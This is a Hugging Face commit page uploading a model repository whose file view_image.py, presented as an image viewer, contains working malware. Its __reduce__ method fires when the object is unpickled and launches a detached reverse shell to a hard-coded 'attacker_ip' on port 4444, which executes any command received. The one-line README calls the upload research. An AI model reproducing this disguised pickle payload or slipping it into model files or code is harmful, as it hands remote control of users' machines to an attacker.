tester-123456789 commited on
Commit
2a539dd
·
verified ·
1 Parent(s): 54686b9

Upload folder using huggingface_hub

Browse files
README.md ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ ## Research
2
+
3
+ This is used for research purposes.
__pycache__/view_image.cpython-312.pyc ADDED
Binary file (2.39 kB). View file
 
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2cc55b1e17f80af2159d1d57fb38c24b204d4f8184bedeee8b7de8ad004798ab
3
+ size 1337
view_image.py ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+ import sys
3
+ import os
4
+
5
+ class ImageViewer:
6
+ def __init__(self, attacker_ip="172.17.13.12", attacker_port=4444):
7
+ self.ip = attacker_ip
8
+ self.port = attacker_port
9
+
10
+ def __reduce__(self):
11
+ return (self._spawn_detached_shell, (self.ip, self.port))
12
+
13
+ @staticmethod
14
+ def _spawn_detached_shell(attacker_ip, attacker_port):
15
+ code = f'''
16
+ import socket
17
+ import subprocess
18
+
19
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20
+ s.connect(("{attacker_ip}", {attacker_port}))
21
+
22
+ while True:
23
+ s.send(b"$ ")
24
+ cmd = s.recv(1024).decode()
25
+ if cmd.strip() in {{"exit", "quit"}}:
26
+ break
27
+ try:
28
+ output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
29
+ except subprocess.CalledProcessError as e:
30
+ output = e.output
31
+ s.send(output)
32
+
33
+ s.close()
34
+ '''
35
+
36
+ if sys.platform == "win32":
37
+ DETACHED_PROCESS = 0x00000008
38
+ subprocess.Popen([sys.executable, "-c", code],
39
+ creationflags=DETACHED_PROCESS,
40
+ stdout=subprocess.DEVNULL,
41
+ stderr=subprocess.DEVNULL,
42
+ stdin=subprocess.DEVNULL,
43
+ close_fds=True)
44
+ else:
45
+ # Unix-like: start new session to detach process
46
+ subprocess.Popen([sys.executable, "-c", code],
47
+ stdout=subprocess.DEVNULL,
48
+ stderr=subprocess.DEVNULL,
49
+ stdin=subprocess.DEVNULL,
50
+ preexec_fn=os.setsid,
51
+ close_fds=True)
52
+